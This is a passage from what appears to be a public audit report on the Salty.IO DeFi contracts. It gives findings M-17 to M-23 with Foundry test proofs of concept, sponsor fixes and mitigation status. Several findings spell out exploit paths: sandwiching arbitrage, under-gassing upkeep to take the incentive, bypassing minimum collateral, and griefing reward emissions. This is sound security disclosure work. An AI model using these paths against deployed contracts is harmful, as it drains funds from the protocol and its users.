estimated in _bisectionSearch() can be calculated with a simple formula. Roughly estimating bestArbAmountIn
instead of deriving its exact value has the following consequences:
- In some scenarios, arbitrage profits are missed completely.
- In most cases, arbitrage profits are not optimal.
- It could be profitable to sandwich-attack certain swaps. The pre-transaction would push the pools into scenario 1., then the post-transaction would recover the investment + arbitrage, capturing the arbitrage profits that were meant for the DAO.
This issue may look like a mere optimization. However, if the math presented next is correct, I’d argue that this is a medium issue. Built-in arbitrage is the main feature and competitive advantage of Salty.IO. Missing arbitrage profits due to a flawed implementation should not happen.
Proof of Concept
Notation
The notation used is equal to the one found in the Salty.IO smart contracts, in particular in ArbitrageSearch.sol. For convenience, $reservesXN$ is replaced with just $XN$. For example, $A1$ should be read as $reservesA1$.
Some of the math steps were omitted to simplify this submission, but I invite you to verify the derivation of the formulas.
Max arbitrage profit formula
The arbitrage function is given by $f(a) = \frac{n\_1a}{n\_2 + ma} - a$, where:
- $a$ (a.k.a.
bestArbAmountIn
) is the amount of WETH to be “sold” for arbToken2 in the first step of the arbitrage path weth -> arbToken2 -> arbToken3 -> weth. - $n\_1 = C1 \* B1 \* A1$
- $n\_2 = C0 \* B0 \* A0$
- $m = C0 \* B0 + C0 \* A1 + B1 \* A1$
Note that:
- $f(0) = 0$
- $f(\inf) = -\inf$
- $max{f(a)}\_{a>0} > 0$ only if $n\_1 > n\_2$. If this is not obvious at first sight, derive $f$ and find its roots for $a>0$.
So, when $n\_1 > n\_2$, we know there is an arbitrage opportunity which maximizes at:
$a = \frac{\sqrt{A0*A1*B0*B1*C0\*C1} - n\_2}{m}$
Using similar methods as currently in PoolMath.sol, overflow can be avoided and the formula above can be used to execute the arbitrage feature optimally.
Missing arbitrage profits completely
So far we’ve seen how to improve the arbitrage calculation to properly maximize profits. What’s more interesting is that certain pools could get into states in which arbitrage opportunities are missed entirely. This should be concerning taking into account that built-in arbitrage is the main feature of the protocol and thus should always be available.
Let $a\_0>0$ be a root of the arbitrage function such that $f(a\_0)=0$ and $f(a>a\_0)<0$. The solution is given by $a\_0=\frac{n\_1-n\_2}{m}$. For simplicity, now assume that (i) the pools in the arbitrage path are balanced and (ii) a user wants to swap weth (let’s call this amount $x$) for arbToken3. We are interested in finding a pool structure such that 1/128th of $x$ is greater than $a\_0$. This would mean that the protocol’s bisection search will test a range of $f$ which is not profitable, when there are actually values that are profitable.
The formula we get from the mentioned assumptions is:
$0\
which means that:
$C0>255\frac{B1\*A1}{A1+B0}$
These conditions are a bit restrictive, but we can still find realistic scenarios in which they hold. To test the idea, add these functions to TestArbitrageSearch.sol and then add the this test to TestArbitrageSearch.t.sol. In the tested example, the protocol misses profits at least in the range of 2-2000 ETH<>BTC swaps for the given pools state.
Recommended Mitigation Steps
Consider replacing _bisectionSearch() with something similar to computeBestArbitrage(). Beware that computeBestArbitrage() is not overflow-proof.
othernet-global (Salty.IO) confirmed and commented:
Works great! Thank you!
I modified the calculations to reduce overflow risk:
uint256 n0 = A0 * B0 * C0; uint256 n1 = A1 * B1 * C1; if (n1 <= n0) return 0; uint256 m = A1 * ( B1 + C0 ) + C0 * B0; uint256 z = PoolMath._sqrt( (n0 / m) * (n1 / m) ); bestArbAmountIn = z - n0 / m;
Added an MSB shift to prevent overflow: https://github.com/othernet-global/salty-io/commit/a54656dd18135ca57eef7c4bf615b7cdff2613a7 https://github.com/othernet-global/salty-io/commit/53feaeb0d335bd33803f98db022871b48b3f2454
uint256 maximumMSB = _maximumReservesMSB( A0, A1, B0, B1, C0, C1 ); // Assumes the largest number should use no more than 80 bits. // Multiplying three 80 bit numbers will yield 240 bits - within the 256 bit limit. uint256 shift = 0; if ( maximumMSB > 80 ) { shift = maximumMSB - 80; A0 = A0 >> shift; A1 = A1 >> shift; B0 = B0 >> shift; B1 = B1 >> shift; C0 = C0 >> shift; C1 = C1 >> shift; } // Each variable will use less than 80 bits uint256 n0 = A0 * B0 * C0; uint256 n1 = A1 * B1 * C1; if (n1 <= n0) return 0; uint256 m = A1 * B1 + C0 * ( B0 + A1 ); // Calculating n0 * n1 directly would overflow under some situations. // Multiply the sqrt's instead - effectively keeping the max size the same uint256 z = Math.sqrt(n0) * Math.sqrt(n1); bestArbAmountIn = ( z - n0 ) / m;
Considering the value-added for the sponsor and the fact that this report:
- Is actually saving funds for the protocol
- Shows that a functionality is in some specific case broken (which we know as the bisection search isn’t exact) could be fixed relatively easily
I think Med severity is appropriate.
Status: Mitigated with an Error. Full details in report from zzebra83, and also included in the Mitigation Review section below.
[M-17] Caller of Upkeep may skip step 11 to save gas
Submitted by handsomegiraffe
In Upkeep.sol, performUpkeep()
is expected to be called by anyone who wishes to earn the 5% incentive. The function runs through steps 1 to 11, each wrapped in a try/catch block to prevent reversions from blocking the entire function.
A dishonest user may call performUpkeep
but provide only sufficient gas for steps 1 to 10. Step 11 would revert and the user still receives the incentive for performing the upkeep.
This attack is possible due to the EIP150 rule where 63/64 of gas is forwarded to an external call. If insufficient gas is sent to complete step 11, the remaining 1/64 gas could still be sufficient to emit the error and continue without reverting.
try this.step11() {}
catch (bytes memory error) { emit UpkeepError("Step 11", error); }
Impact
The user benefits from gas saved by not having to run step 11. Step 11 sends SALT from the team vesting wallet to the team; skipping this step this could cause issues for the team by not receiving expected SALT at each upkeep.
Recommended Mitigation Steps
Check that sufficient gas is sent at the start of the function call.
othernet-global (Salty.IO) acknowledged
This report shows how a user could potentially be rewarded and not execute the tasks correctly, so would essentially steal funds from the DAO.
[M-18] _getUniswapTwapWei()
will show incorrect price for negative ticks cause it doesn’t round up for negative ticks
Submitted by Bauchibred, also found by grearlake
Take a look at https://github.com/code-423n4/2024-01-salty/blob/f742b554e18ae1a07cb8d4617ec8aa50db037c1c/src/price_feed/CoreUniswapFeed.sol#L49-L75
// Returns amount of token0 * (10**18) given token1
function _getUniswapTwapWei( IUniswapV3Pool pool, uint256 twapInterval ) public view returns (uint256)
{
uint32[] memory secondsAgo = new uint32[](2);
secondsAgo[0] = uint32(twapInterval); // from (before)
secondsAgo[1] = 0; // to (now)
// Get the historical tick data using the observe() function
(int56[] memory tickCumulatives, ) = pool.observe(secondsAgo);
//@audit
int24 tick = int24((tickCumulatives[1] - tickCumulatives[0]) / int56(uint56(twapInterval)));
uint160 sqrtPriceX96 = TickMath.getSqrtRatioAtTick( tick );
uint256 p = FullMath.mulDiv(sqrtPriceX96, sqrtPriceX96, FixedPoint96.Q96 );
uint8 decimals0 = ( ERC20( pool.token0() ) ).decimals();
uint8 decimals1 = ( ERC20( pool.token1() ) ).decimals();
if ( decimals1 > decimals0 )
return FullMath.mulDiv( 10 ** ( 18 + decimals1 - decimals0 ), FixedPoint96.Q96, p );
if ( decimals0 > decimals1 )
return ( FixedPoint96.Q96 * ( 10 ** 18 ) ) / ( p * ( 10 ** ( decimals0 - decimals1 ) ) );
return ( FixedPoint96.Q96 * ( 10 ** 18 ) ) / p;
}
This function is used to get twap price tick using uniswap oracle. it uses pool.observe()
to get tickCumulatives
array which is then used to calculate int24 tick
.
The problem is that in case if int24(tickCumulatives[1] - tickCumulatives[0])
is negative, then the tick should be rounded down as it’s done in the uniswap library.
As result, in case if int24(tickCumulatives[1] - tickCumulatives[0])
is negative and (tickCumulatives[1] - tickCumulatives[0]) % secondsAgo != 0
, then returned tick will be bigger then it should be, which opens possibility for some price manipulations and arbitrage opportunities.
Impact
In case if int24(tickCumulatives[1] - tickCumulatives[0])
is negative and ((tickCumulatives[1] - tickCumulatives[0]) % secondsAgo != 0
, then returned tick will be bigger than it should be which places protocol wanting prices to be right not be able to achieve this goal, note that where as protocol still relies on multiple sources of price, they still come down and end on weighing the differences between the prices and reverting if a certain limit is passed, effectively causing the pricing logic to be unavailable and also reverting on important functions like CollateralAndLiquidity::liquidate()
cause a call to underlyingTokenValueInUSD()
is made which would not be available.
Recommended Mitigation Steps
Add this line:
if (tickCumulatives[1] - tickCumulatives[0] < 0 && (tickCumulatives[1] - tickCumulatives[0]) % secondsAgo != 0) timeWeightedTick --;
othernet-global (Salty.IO) confirmed and commented:
Now rounds down for negative ticks as suggested.
https://github.com/othernet-global/salty-io/commit/4625393e9bd010778003a1424201513885068800
The stablecoin framework: /stablecoin, /price_feed, WBTC/WETH collateral, PriceAggregator, price feeds and USDS have been removed: https://github.com/othernet-global/salty-io/commit/88b7fd1f3f5e037a155424a85275efd79f3e9bf9
Status: Mitigation confirmed. Full details in reports from t0x1c, zzebra83, and 0xpiken.
[M-19] No proposal time limit traps sponsors of unpopular proposals
Submitted by 0xBinChook, also found by 0x3b, 0xRobocop, ether_sky, pina, Tripathi, 0xpiken, juancito, SpicyMeatball, erosjohn, fnanni, and cats
A staker is restricted to sponsoring a single proposal at any given time. This proposal remains active until a predetermined duration has elapsed, and it has received the sufficient number of votes to reach a quorum, after which it can be finalized.
However, if a staker sponsors a proposal that fails to attract the necessary quorum of votes, it remains indefinitely in an active state. This situation effectively locks the staker in a position where they cannot propose any new initiatives, as they are stuck with an unresolved proposal.
There is no mechanism for sponsors to withdraw or cancel their proposals. So when a proposal is unable to achieve quorum, the sponsor is left in a predicament where they are unable to further participate in the governance through the initiation of new proposals.
Furthermore, there is a noticeable lack of motivation for stakers to vote against proposals that are not on track to meet the quorum. As these proposals cannot pass without achieving the required quorum, resulting in a situation where voting against such proposals does not offer any tangible benefit.
Proof of Concept
Steps:
- Staker creates a valid proposal
- Sufficient time passes
- Insufficient votes are received to reach quorum
- Staker has an active proposal they cannot close (preventing create a new proposal)
A staker can have only one active proposal
Within Proposals
stakers are identified as users
and when creating a proposal there is a check Proposals::_possiblyCreateProposal()
// Make sure that the user doesn't already have an active proposal
require( ! _userHasActiveProposal[msg.sender], "Users can only have one active proposal at a time" );
With the state being pushed later in Proposals::_possiblyCreateProposal()
// Remember that the user made a proposal
_userHasActiveProposal[msg.sender] = true;
_usersThatProposedBallots[ballotID] = msg.sender;
A proposal can only be finalized after sufficient time has passed
The check to ensure the minimum time has passed in Proposals::canFinalizeBallot()
// Check that the minimum duration has passed
if (block.timestamp < ballot.ballotMinimumEndTime )
return false;
A proposal can only be finalized after quorum is reached
The check to ensure quorum is reached in Proposals::canFinalizeBallot()
// Check that the required quorum has been reached
if ( totalVotesCastForBallot(ballotID) < requiredQuorumForBallotType( ballot.ballotType ))
return false;
Test Case
User sponsors a proposal that fails to reach quorum cannot be finalized and with no other way to close will have an active proposal, preventing further proposals.Add the test case to Proposals.t.sol
function test_quorum_needed_to_finalize_ballot() external {
uint256 ballotID = 1;
uint256 stakeAmount = 250000 ether;
// Fund Alice, Bob and Charlie with equal SALT
vm.startPrank( DEPLOYER );
salt.transfer( alice, stakeAmount );
salt.transfer( bob, stakeAmount );
salt.transfer( charlie, stakeAmount );
vm.stopPrank();
// Alice, Bob and Charlie all stake their equal amounts of SALT
_stakeSalt(alice, stakeAmount);
_stakeSalt(bob, stakeAmount);
_stakeSalt(charlie, stakeAmount);
// Alice proposes a ballot
vm.prank(alice);
proposals.proposeCountryInclusion("US", "proposed ballot");
// Alice votes YES
vm.prank(alice);
proposals.castVote( ballotID, Vote.YES );
// Now, we allow some time to pass in order to finalize the ballot
vm.warp(block.timestamp + daoConfig.ballotMinimumDuration());
// The ballot cannot be finalized as quorum is not reached
assertFalse(proposals.canFinalizeBallot(ballotID), "Ballot cannot be finalized");
assertGt(proposals.requiredQuorumForBallotType(BallotType.INCLUDE_COUNTRY),stakeAmount, "Quorum exceeds stakeAmount" );
assertTrue( proposals.userHasActiveProposal(alice), "Alice has an active proposal");
}
function _stakeSalt(address wallet, uint256 amount ) private {
vm.startPrank( wallet );
salt.approve(address(staking), amount);
staking.stakeSALT(amount);
vm.stopPrank();
}
Tools Used
Foundry
Recommended Mitigation Steps
Allow the proposals to be closed (equivalent to finalized as NO
or NO_CHANGE
), which would allow the sponsor to afterward make a different proposal.
(This feature would also generally allow removing dead proposals)
Add a time field to Ballot
in IProposals:
// The earliest timestamp at which a ballot can end. Can be open longer if the quorum has not yet been reached for instance.
uint256 ballotMinimumEndTime;
+ // The earliest timestamp at which a ballot can be closed without quorum being reached.
+ uint256 ballotCloseTime;
}
Populate the ballotCloseTime
in Proposal::_possiblyCreateProposal, using a constant in this example, it could always another DAO configuration option:
// Make sure that a proposal of the same name is not already open for the ballot
require( openBallotsByName[ballotName] == 0, "Cannot create a proposal similar to a ballot that is still open" );
require( openBallotsByName[ string.concat(ballotName, "_confirm")] == 0, "Cannot create a proposal for a ballot with a secondary confirmation" );
uint256 ballotMinimumEndTime = block.timestamp + daoConfig.ballotMinimumDuration();
+ uint256 ballotCloseTime = ballotMinimumEndTime + 1 weeks;
// Add the new Ballot to storage
ballotID = nextBallotID++;
+ ballots[ballotID] = Ballot( ballotID, true, ballotType, ballotName, address1, number1, string1, string2, ballotMinimumEndTime );
+ ballots[ballotID] = Ballot( ballotID, true, ballotType, ballotName, address1, number1, string1, string2, ballotMinimumEndTime, ballotCloseTime );
openBallotsByName[ballotName] = ballotID;
_allOpenBallots.add( ballotID );
Add a function to return whether a proposal can be closed to Proposal:
+ function canCloseBallot( uint256 ballotID ) external view returns (bool)
+ {
+ Ballot memory ballot = ballots[ballotID];
+ if ( ! ballot.ballotIsLive )
+ return false;
+
+ // Check that the minimum duration has passed
+ if (block.timestamp < ballot.ballotCloseTime )
+ return false;
+
+ return true;
+ }
Add a function to close a ballot without any side effect to DAO
+ function closeBallot( uint256 ballotID ) external nonReentrant
+ {
+ // Checks that ballot is live and closeTime has passed
+ require( proposals.canCloseBallot(ballotID), "The ballot is not yet able to be closed" );
+
+ // No mutation from the propsal
+ _finalizeApprovalBallot(ballotID);
+ }
othernet-global (Salty.IO) confirmed and commented:
There is now a default 30 day period after which ballots can be removed by any user.
https://github.com/othernet-global/salty-io/commit/758349850a994c305a0ab9a151d00e738a5a45a0
Status: Mitigated with an Error. Full details in report from 0xpiken, and also included in the Mitigation Review section below.
[M-20] Some rewards from POL will not be send to team wallet nor burned
Submitted by 0xRobocop, also found by klau5
The rewards earned from the DAOs POL are distributed among the team wallet, then part of the remaining rewards are burned and the rest are kept as DAOs balance.
The issue, is that is possible for the DAO to claim SALT rewards without sending the team’s share to the team wallet and without burning the amount that should be burned.
Proof of Concept
The first step during the upkeep
functionality is to perform the upkeep on the liquidizer
contract.
During that, if the amount of USDS to be burned is greater than the current balance of the liquidizer
contract, then the code will withdraw some POL from the usds/dai and usds/salt pools:
When removing liquidity, the code will decrease the dao’s share and in doing so it will send to it some rewards proportional to the amount of shares decreased:
It is important note that pool rewards do not necessary comes from the emitter, but they can be added by third party protocols via the addRewards
function in the StakingRewards
contract:
Recommended Mitigation Steps
Two options:
- Save the amount of rewards received when withdrawing some POL, so they can be distributed and burned.
- Make the call to claim all the rewards at the beginning of
upkeep
.
This report shows how in some cases some rewards may end up being stuck when withdrawing PoL.
othernet-global (Salty.IO) acknowledged and commented:
POL has been removed from the protocol:
eaf40ef0fa27314c6e674db6830990df68e5d70e https://github.com/othernet-global/salty-io/commit/8e3231d3f444e9851881d642d6dd03021fade5ed
Status: Mitigation confirmed. Full details in reports from t0x1c, zzebra83, and 0xpiken.
[M-21] When forming POL the DAO will end up stucked with DAI and USDS tokens that cannot handle
Submitted by 0xRobocop, also found by oakcobalt, deepplus, DanielArmstrong, and KupiaSec
The DAO contract cannot handle any token beside SALT tokens. So, if tokens like USDS or DAI were in its balance, they will be lost forever.
This can happen during the upkeep
calls. Basically, during upkeep the contract takes some percentage from the arbitrage profits and use them to form POL for the DAO (usds/dai and salt/usds). The DAO swaps the ETH for both of the needed tokens and then adds the liquidity using the zapping flag to true.
Zapping will compute the amount of either tokenA or tokenB to swap in order to add liquidity at the final ratio of reserves after the swap. But, it is important to note that the zap computations do no take into account that the same pool may get arbitraged atomically, changing the ratio of reserves a little.
As a consequence, some of the USDS and DAI tokens will be send back to the DAO contract:
Proof of Concept
The following coded PoC should be pasted into root_tests/Upkeep.t.sol
, actually its the same test that can be found at the end of the file with some added lines to showcase the issue. Specifically, it shows how the USDS and DAI balance of the DAO are zero before upkeep and how both are greater than zero after upkeep.
function testDoublePerformUpkeep() public {
_setupLiquidity();
_generateArbitrageProfits(false);
// Dummy WBTC and WETH to send to Liquidizer
vm.prank(DEPLOYER);
weth.transfer( address(liquidizer), 50 ether );
// Indicate that some USDS should be burned
vm.prank( address(collateralAndLiquidity));
liquidizer.incrementBurnableUSDS( 40 ether);
// Mimic arbitrage profits deposited as WETH for the DAO
vm.prank(DEPLOYER);
weth.transfer(address(dao), 100 ether);
vm.startPrank(address(dao));
weth.approve(address(pools), 100 ether);
pools.deposit(weth, 100 ether);
vm.stopPrank();
// === Perform upkeep ===
address upkeepCaller = address(0x9999);
uint256 daiDaoBalanceBefore = dai.balanceOf(address(dao));
uint256 usdsDaoBalanceBefore = usds.balanceOf(address(dao));
assertEq(daiDaoBalanceBefore, 0);
assertEq(usdsDaoBalanceBefore, 0);
vm.prank(upkeepCaller);
upkeep.performUpkeep();
// ==================
_secondPerformUpkeep();
uint256 daiDaoBalanceAfter = dai.balanceOf(address(dao));
uint256 usdsDaoBalanceAfter = usds.balanceOf(address(dao));
assertTrue(daiDaoBalanceAfter > 0);
assertTrue(usdsDaoBalanceAfter > 0);
}
Recommended Mitigation Steps
The leftovers of USDS or DAI should be send to liquidizer so they can be handled.
othernet-global (Salty.IO) commented:
The DAO contract uses the available token balances to form POL, ensuring no extra tokens left in the contract.
https://github.com/othernet-global/salty-io/commit/5364426aaf97e646fa3990f148e364167adcd0a5
POL has been removed from the protocol:
eaf40ef0fa27314c6e674db6830990df68e5d70e https://github.com/othernet-global/salty-io/commit/8e3231d3f444e9851881d642d6dd03021fade5ed
Status: Mitigation confirmed. Full details in reports from 0xpiken, zzebra83, and t0x1c.
[M-22] Minimium Collateral Check Can Be Bypassed
Submitted by Banditx0x, also found by Audinarey, Giorgio, and t0x1c
The minimum collateral is enforced to prevent a well known vulnerability - there is no incentive to liquidate small loans. Therefore the impact of this check being bypassed is the same - small loans will not be liquidated which can lead to bad debt in the protocol.
Proof of Concept
The minimum collateral is enforced in the when borrowing USDS, during the call to the maxBorrowableUSDS
function. However this check is not applied when the user withdraws collateral. Therefore, a loan with small collateral can be created by:
- depositing collateral greater than the minimum collateral
- taking out a small loan
- withdrawing collateral so that the position is now under the minimum collateral threshold.
Why small loans are an issue:
The liquidation reward is based off a flat 5% of the collateral being liquidated. There is no minimum cap to the liquidation fee.
Let’s have an example where gas costs are $5
. The collateral being liquidated needs to be $100 USDS
or more for the liquidation costs to be worth the reward.
However, a loan that is worth $100
at liquidation is actually worth far more than that upon time of opening. For example, opened at the minimum collateral factor of 200%, the loan is actually worth slightly less than $200
when it was opened, and then decreased to $100
. With even lower-leverage positions with 400% CF, it is reasonable that position sizes are $400
or more upon time of opening.
Recommended Mitigation Steps
The minimum collateral should be enforced on withdrawals whenever a user has an active USDS loan.
Picodes (Judge) decreased severity to Medium and commented:
To me medium severity is more appropriate here under “leak value with a hypothetical attack path with stated assumptions, but external requirements” and “broken functionality”.
Indeed this could lead to bad debt but the attack is hardly profitable at any point in time as the gas costs to setup small loans is expensive (you need to add collateral, borrow, repay, withdraw) and unless the oracle is flawed you can’t have a guarantee that the attack will profitable.
othernet-global (Salty.IO) acknowledged and commented:
The stablecoin framework: /stablecoin, /price_feed, WBTC/WETH collateral, PriceAggregator, price feeds and USDS have been removed: https://github.com/othernet-global/salty-io/commit/88b7fd1f3f5e037a155424a85275efd79f3e9bf9
Status: Mitigation confirmed. Full details in reports from t0x1c, zzebra83, and 0xpiken.
[M-23] StakingRewards pools are not given their promised share of rewards due to incorrect calculation
Submitted by t0x1c, also found by Banditx0x and 0xAsen
RewardsEmitter::performUpkeep() distributes the added rewards to the eligible staking pools at the rate of X%
per day (default value set to 1% by the protocol). To ensure that once disbursed, it is not sent again, the code reduces the pendingRewards[poolID]
variable on L126:
120 // Each pool will send a percentage of the pending rewards based on the time elapsed since the last send
121 uint256 amountToAddForPool = ( pendingRewards[poolID] * numeratorMult ) / denominatorMult;
122
123 // Reduce the pending rewards so they are not sent again
124 if ( amountToAddForPool != 0 )
125 {
126 pendingRewards[poolID] -= amountToAddForPool;
127
128 sum += amountToAddForPool;
129 }
The impact of this is: higher the number of times performUpkeep() is called, lesser the rewards per day is distributed to the pools. That is, calling it 100 times a day is worse than calling it once at the end of the day. This is at odds with how the protocol wants to achieve a higher frequency of upkeep-ing.
Reasoning:
This above code logic is incorrect maths as doing this will result in the following scenario:
- Suppose that on Day0, the
addedRewards = 10 ether
andrewardsEmitterDailyPercentTimes1000 = 2500
i.e. 2.5% per day. One would expect all rewards to be distributed to the pool after 40 days (since 2.5% * 40 = 100%). -
On Day1,
performUpkeep()
gets called.amountToAddForPool
andpendingRewards[poolID]
are calculated on L121 & L126 respectively as:amountToAddForPool = 0.025 * 10 ether = 0.25 ether
pendingRewards[poolID] = 10 ether - 0.25 ether = 9.75 ether
-
On Day2,
performUpkeep()
gets called again.amountToAddForPool
andpendingRewards[poolID]
are calculated now as:amountToAddForPool = 0.025 * 9.75 ether = 0.24375 ether
pendingRewards[poolID] = 9.75 ether - 0.24375 ether = 9.50625 ether
So on and so forth for each new day. The actual formula being followed is totalRewardsStillRemainingAfterXdays = 10 ether * (1 - 2.5%)**X
which would be 3632324398878806621
or 3.63232 ether
after 40 days. In fact, even after another 40 days, it’s still not all paid out. Please refer the “Proof of Concept - 1” provided below. In fact, since this is a classic negative compounding formula ( $Amount = Principle \* (1 - rate)^{time}$ ), no matter how many days pass, all the rewards would never be distributed and dust would always remain in the contract.
Further Evidence & Impact
To remove any doubts regarding the interpretation of the 1% per day rate
and if indeed the current implementation is as intended or not, one can look at the following calculation provided in the comments:
StakingRewards.sol#L178-L181
// 3. Rewards are first placed into a RewardsEmitter which deposits rewards via addSALTRewards at the default rate of 1% per day.
// 4. Rewards are deposited fairly often, with outstanding rewards being transferred with a frequency proportional to the activity of the exchange.
// Example: if $100k rewards were being deposited in a bulk transaction, it would only equate to $1000 (1%) the first day,
// or $10 in claimable rewards during a 15 minute upkeep period.
Let’s crunch the above numbers:
- The comment says,
"$100K rewards would equate to $1000 (1%) the first day"
OR ”$10 claimable rewards
” when upkeep() is called every 15 minutes. - This conclusion could have been arrived at by the protocol only when the reward of
$1000
(over 24 hours) is divided equally for each 15 minutes i.e.$1000 / (24 * 60 / 15)
equalling$10
(rounded-down).
This is certainly not the case currently as can be seen in the “Proof of Concept - 2”.
Note that this means that per day much lesser rewards than 1% are distributed if performUpkeep()
is called every 15 minutes instead of once after 24 hours. A malicious actor can use this to grief the protocol and delay/diminish emissions. The power of negative compunding causes this and can be seen in the second PoC.
Proof of Concept - 1
Add the following test inside src/rewards/tests/RewardsEmitter.t.sol
and run via COVERAGE="yes" NETWORK="sep" forge test -vv --rpc-url https://rpc.ankr.com/eth_sepolia --mt test_allPendingRewardsNeverPaidOut
to see the two assertions fail. The value of rewardsEmitterDailyPercentTimes1000
in the test is 2.5% per day.
function test_allPendingRewardsNeverPaidOut() public {
// Add some pending rewards to the pools
AddedReward[] memory addedRewards = new AddedReward[](1);
addedRewards[0] = AddedReward({poolID: poolIDs[0], amountToAdd: 10 ether});
liquidityRewardsEmitter.addSALTRewards(addedRewards);
// Verify that the rewards were added
assertEq(pendingLiquidityRewardsForPool(poolIDs[0]), 10 ether);
// Call performUpkeep
vm.startPrank(address(upkeep));
for (uint256 i; i < 40; ++i)
liquidityRewardsEmitter.performUpkeep(1 days);
vm.stopPrank();
// Verify that the correct amount of rewards were deducted from each pool's pending rewards
// 2.5% of the rewards should be deducted per day, so all rewards should be paid out after the 40 days' iteration above
assertEq(pendingLiquidityRewardsForPool(poolIDs[0]), 0 ether, "not all reward distributed");
// Let's try 40 times more, just to confirm the behaviour and see if ever all the rewards are paid out
vm.startPrank(address(upkeep));
for (uint256 i; i < 40; ++i)
liquidityRewardsEmitter.performUpkeep(1 days);
vm.stopPrank();
assertEq(pendingLiquidityRewardsForPool(poolIDs[0]), 0 ether, "nope, not even now");
}
Output:
[FAIL. Reason: assertion failed] test_allPendingRewardsNeverPaidOut() (gas: 5441491)
Logs:
Error: not all reward distributed
Error: a == b not satisfied [uint]
Left: 3632324398878806621
Right: 0
Error: nope, not even now
Error: a == b not satisfied [uint]
Left: 1319378053869028394
Right: 0
Proof of Concept - 2
Add the following test inside src/rewards/tests/RewardsEmitter.t.sol
and run via COVERAGE="yes" NETWORK="sep" forge test -vv --rpc-url https://rpc.ankr.com/eth_sepolia --mt test_perDayDefaultRateNotAdheredTo
to see last assertion fail. The value of rewardsEmitterDailyPercentTimes1000
in the test is 1% per day and upkeep()
is called every 15 minutes.
We observe that by the end of the day, 4931 ethers
less is disbursed than expected.
function test_perDayDefaultRateNotAdheredTo() public {
// set daily rate to 1%
vm.startPrank(address(dao));
for ( uint256 i = 0; i < 6; i++ )
rewardsConfig.changeRewardsEmitterDailyPercent(false);
vm.stopPrank();
assertEq(rewardsConfig.rewardsEmitterDailyPercentTimes1000(), 1000);
// Add some pending rewards to the pools
deal(address(salt), address(this), 100_000_000 ether);
AddedReward[] memory addedRewards = new AddedReward[](1);
addedRewards[0] = AddedReward({poolID: poolIDs[0], amountToAdd: 100_000_000 ether});
liquidityRewardsEmitter.addSALTRewards(addedRewards);
// Verify that the rewards were added
assertEq(pendingLiquidityRewardsForPool(poolIDs[0]), 100_000_000 ether);
// Call performUpkeep every 15 minutes for a full day
uint256 totalDisbursed = 0;
uint256 disbursedInLast15Mins = pendingLiquidityRewardsForPool(poolIDs[0]);
console.log("Time Lapsed ( in mins) | Reward emiited in last 15 mins | Total reward emitted");
vm.startPrank(address(upkeep));
for (uint256 i; i < 24 * 4; ++i) {
liquidityRewardsEmitter.performUpkeep(15 minutes);
uint256 diff = disbursedInLast15Mins - pendingLiquidityRewardsForPool(poolIDs[0]);
totalDisbursed += diff;
console.log("%s | %s | %s", (i+1)*15, diff, totalDisbursed);
disbursedInLast15Mins = pendingLiquidityRewardsForPool(poolIDs[0]);
}
vm.stopPrank();
// Verify that the correct amount of rewards were deducted from each pool's pending rewards
// 1% of the rewards should be deducted per day
assertEq(pendingLiquidityRewardsForPool(poolIDs[0]), 99_000_000 ether, "1% per day not adhered to");
}
Output:
[FAIL. Reason: assertion failed] test_perDayDefaultRateNotAdheredTo() (gas: 7243619)
Logs:
Time Lapsed ( in mins) | Reward emiited in last 15 mins | Total reward emitted
15 | 10416666666666666666666 | 10416666666666666666666
30 | 10415581597222222222222 | 20832248263888888888888
45 | 10414496640805844907407 | 31246744904694733796295
60 | 10413411797405760965229 | 41660156702100494761524
75 | 10412327067010197865129 | 52072483769110692626653
90 | 10411242449607384302851 | 62483726218718076929504
105 | 10410157945185550200319 | 72893884163903627129823
120 | 10409073553732926705507 | 83302957717636553835330
135 | 10407989275237746192308 | 93710946992874300027638
150 | 10406905109688242260413 | 104117852102562542288051
165 | 10405821057072649735178 | 114523673159635192023229
180 | 10404737117379204667497 | 124928410277014396690726
195 | 10403653290596144333678 | 135332063567610541024404
210 | 10402569576711707235309 | 145734633144322248259713
225 | 10401485975714133099139 | 156136119120036381358852
240 | 10400402487591662876941 | 166536521607628044235793
255 | 10399319112332538745392 | 176935840719960582981185
270 | 10398235849925004105939 | 187334076569885587087124
285 | 10397152700357303584678 | 197731229270242890671802
300 | 10396069663617683032221 | 208127298933860573704023
315 | 10394986739694389523572 | 218522285673554963227595
330 | 10393903928575671357997 | 228916189602130634585592
345 | 10392821230249778058897 | 239309010832380412644489
360 | 10391738644704960373682 | 249700749477085373018171
375 | 10390656171929470273643 | 260091405649014843291814
390 | 10389573811911560953823 | 270480979460926404245637
405 | 10388491564639486832891 | 280869471025565891078528
420 | 10387409430101503553012 | 291256880455667394631540
435 | 10386327408285867979725 | 301643207863953262611265
450 | 10385245499180838201811 | 312028453363134100813076
465 | 10384163702774673531165 | 322412617065908774344241
480 | 10383082019055634502672 | 332795699084964408846913
495 | 10382000448011982874078 | 343177699532976391720991
510 | 10380918989631981625862 | 353558618522608373346853
525 | 10379837643903894961109 | 363938456166512268307962
540 | 10378756410815988305384 | 374317212577328256613346
555 | 10377675290356528306602 | 384694887867684784919948
570 | 10376594282513782834904 | 395071482150198567754852
585 | 10375513387276020982525 | 405446995537474588737377
600 | 10374432604631513063673 | 415821428142106101801050
615 | 10373351934568530614395 | 426194780076674632415445
630 | 10372271377075346392456 | 436567051453749978807901
645 | 10371190932140234377207 | 446938242385890213185108
660 | 10370110599751469769459 | 457308352985641682954567
675 | 10369030379897328991358 | 467677383365539011945925
690 | 10367950272566089686255 | 478045333638105101632180
705 | 10366870277746030718579 | 488412203915851132350759
720 | 10365790395425432173713 | 498777994311276564524472
735 | 10364710625592575357862 | 509142704936869139882334
750 | 10363630968235742797928 | 519506335905104882680262
765 | 10362551423343218241387 | 529868887328448100921649
780 | 10361471990903286656153 | 540230359319351387577802
795 | 10360392670904234230460 | 550590751990255621808262
810 | 10359313463334348372728 | 560950065453589970180990
825 | 10358234368181917711439 | 571308299821771887892429
840 | 10357155385435232095011 | 581665455207207119987440
855 | 10356076515082582591667 | 592021531722289702579107
870 | 10354997757112261489314 | 602376529479401964068421
885 | 10353919111512562295409 | 612730448590914526363830
900 | 10352840578271779736837 | 623083289169186306100667
915 | 10351762157378209759781 | 633435051326564515860448
930 | 10350683848820149529597 | 643785735175384665390045
945 | 10349605652585897430688 | 654135340827970562820733
960 | 10348527568663753066372 | 664483868396634315887105
975 | 10347449597042017258761 | 674831317993676333145866
990 | 10346371737708992048630 | 685177689731385325194496
1005 | 10345293990652980695292 | 695522983722038305889788
1020 | 10344216355862287676469 | 705867200077900593566257
1035 | 10343138833325218688170 | 716210338911225812254427
1050 | 10342061423030080644556 | 726552400334255892898983
